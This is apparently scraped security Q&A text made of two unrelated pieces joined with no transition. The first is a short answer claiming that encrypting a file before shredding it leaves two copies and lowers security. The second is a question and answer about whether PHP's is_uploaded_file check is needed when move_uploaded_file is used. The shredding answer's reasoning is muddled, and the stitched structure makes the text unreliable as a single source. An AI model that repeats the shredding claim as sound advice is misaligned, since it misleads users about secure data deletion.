I understand why you are asking and you are kinda on the right track. You think that if you encrypt the data before shredding it that if someone was able to reconstruct the data all they would get is encrypted data. It's a good thought, however when you encrypt a file it makes an encrypted copy of the file on another part of the file system. The original still has to be shredded anyway, either manually or automatically by the utility. So by encrypting it then shredding the encrypted file you're actually leaving 2 copies of the file rather than one, causing a net decrease in security.


Exploitation of missing is_uploaded_file check? The PHP documentation for is_uploaded_file says:

  Returns TRUE if the file named by filename was uploaded via HTTP POST.
  This is useful to help ensure that a malicious user hasn't tried to
  trick the script into working on files upon which it should not be
  working--for instance, /etc/passwd.

It also suggests this:

  For proper working, the function is_uploaded_file() needs an argument
  like $_FILES['userfile']['tmp_name'], - the name of the uploaded file
  on the client's machine $_FILES['userfile']['name'] does not work.

But as far as I know tmp_name isn't user controlled anyways, so the check shouldn't be required.

And if I use name instead of tmp_name when uploading files (for example by using copy instead of move_uploaded_file), my file upload script wouldn't actually work, as it would always move the wrong file.

My questions:

The comments mention that move_uploaded_file performs the is_uploaded_file check itself, it that true?
Is tmp_name user controlled in any way?
Is there a realistic scenario where is_uploaded_file is actually required when uploading a file - or when performing any other action such as reading, deleting, etc. - , as there would be a vulnerability without it? Or is the function completely useless?

To answer your questions:

  The comments mention that move_uploaded_file performs the is_uploaded_file check itself, it that true?

It does. You can see in the source code of move_uploaded_file() that the checks it performs are (almost) the same as the ones done in the is_uploaded_file() method.

  Is tmp_name user controlled in any way?

No, the user cannot control this value. It is assigned by the interpreter and is random everytime. Even if you upload the exact same file more than once, it will have a different tmp_name every time.

  Is there a realistic scenario where is_uploaded_file is actually required when uploading a file - or when performing any other action such as reading, deleting, etc. - , as there would be a vulnerability without it? Or is the function completely useless?

As a PHP developer myself, I've personally never used it. Since it's already incorporated in the move_uploaded_file() method. I've never encountered a scenario where I wanted a file to be uploaded, but not moved to a location of my choosing and just remain somewhere in the temporary upload directory under a random name. I guess you could use it if you just want to display the contents of the uploaded file, but not keep it stored on your server, like the example #1 in the docs suggests. A scenario that pops into my mind is if you would run a pastebin service with upload functionality or such. You could allow the file to be uploaded, read it's contents from the temp dir, use that as input for the textarea and then immediately remove the file again from it's temporary location (or have a cleanup cronjob do that periodically).